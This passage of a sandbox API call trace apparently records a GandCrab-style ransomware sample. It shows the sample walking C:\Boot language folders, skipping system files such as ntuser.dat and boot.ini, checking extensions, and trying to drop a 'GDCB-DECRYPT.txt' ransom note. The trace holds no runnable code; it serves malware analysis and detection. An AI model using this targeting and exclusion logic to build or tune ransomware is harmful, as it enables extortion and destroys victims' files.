(lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.569] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.569] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.570] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.570] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.570] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.570] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" [0169.570] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.570] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0169.570] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0169.570] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.570] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.570] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.570] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.570] lstrcmpW (lpString1="sr-Latn-RS", lpString2=".") returned 1 [0169.570] lstrcmpW (lpString1="sr-Latn-RS", lpString2="..") returned 1 [0169.570] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-RS" | out: lpString1="C:\\Boot\\sr-Latn-RS") returned="C:\\Boot\\sr-Latn-RS" [0169.570] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS", lpString2="\\" | out: lpString1="C:\\Boot\\sr-Latn-RS\\") returned="C:\\Boot\\sr-Latn-RS\\" [0169.570] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.571] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.571] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\") returned 19 [0169.571] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-RS\\*") returned="C:\\Boot\\sr-Latn-RS\\*" [0169.571] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4a18 [0169.571] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.571] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.571] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.571] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.571] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.571] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.571] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.571] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" [0169.571] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0169.571] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.571] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.571] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.571] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.571] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt" [0169.571] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0169.571] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.571] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.571] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0169.571] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.572] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sr-Latn-RS\\\\GDCB-DECRYPT.txt") returned 36 [0169.572] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sr-latn-rs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.572] GetLastError () returned 0x50 [0169.572] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.572] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\") returned 19 [0169.572] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-RS\\*") returned="C:\\Boot\\sr-Latn-RS\\*" [0169.572] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4e58 [0169.572] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.572] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.572] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.572] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.572] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.572] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.572] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.572] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" [0169.572] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.572] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0169.572] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0169.572] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.573] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.573] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.573] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.573] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt" [0169.573] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.573] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0169.573] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0169.573] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0169.573] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.573] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.573] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.573] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.573] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.573] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.573] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0169.573] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0169.573] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sv-SE" | out: lpString1="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0169.573] lstrcatW (in: lpString1="C:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="C:\\Boot\\sv-SE\\") returned="C:\\Boot\\sv-SE\\" [0169.573] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.573] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.574] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.574] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0169.574] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="C:\\Boot\\sv-SE\\*") returned="C:\\Boot\\sv-SE\\*" [0169.574] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.574] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.574] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.574] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.574] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.574] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.574] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.574] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.574] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0169.574] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0169.574] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.574] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.574] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.574] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.574] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt" [0169.574] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0169.574] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.574] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.574] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.574] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.574] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned="C:\\Boot\\sv-SE\\memtest.exe.mui" [0169.574] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0169.574] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.574] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.574] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.574] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.574] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sv-SE\\\\GDCB-DECRYPT.txt") returned 31 [0169.575] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sv-se\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.575] GetLastError () returned 0x50 [0169.575] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.575] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0169.575] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="C:\\Boot\\sv-SE\\*") returned="C:\\Boot\\sv-SE\\*" [0169.575] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4e58 [0169.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.575] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.575] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.575] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.575] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.575] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0169.575] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.575] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0169.575] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0169.575] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.575] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.575] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.575] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.575] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt" [0169.576] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.576] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0169.576] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0169.576] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0169.576] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.576] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.576] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.576] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.576] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.576] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.576] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned="C:\\Boot\\sv-SE\\memtest.exe.mui" [0169.576] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.576] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0169.576] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0169.576] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.576] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.576] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.576] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.577] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0169.577] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0169.577] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="tr-TR" | out: lpString1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0169.577] lstrcatW (in: lpString1="C:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="C:\\Boot\\tr-TR\\") returned="C:\\Boot\\tr-TR\\" [0169.577] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.577] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.577] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.577] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.577] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.577] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.577] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0169.577] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="C:\\Boot\\tr-TR\\*") returned="C:\\Boot\\tr-TR\\*" [0169.577] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.577] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.577] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.577] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.577] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.577] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.577] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.577] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.577] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0169.577] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0169.577] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.577] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.577] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.577] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.577] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt" [0169.577] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0169.577] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.577] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.577] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.577] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.577] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned="C:\\Boot\\tr-TR\\memtest.exe.mui" [0169.577] lstrlenW (lpString="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0169.577] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.577] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.578] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.578] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.578] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\tr-TR\\\\GDCB-DECRYPT.txt") returned 31 [0169.578] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\tr-tr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.578] GetLastError () returned 0x50 [0169.578] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.578] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0169.578] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="C:\\Boot\\tr-TR\\*") returned="C:\\Boot\\tr-TR\\*" [0169.578] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4dd8 [0169.579] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.579] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.579] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.579] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.579] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.579] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.579] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.579] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0169.579] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.579] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0169.579] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0169.579] 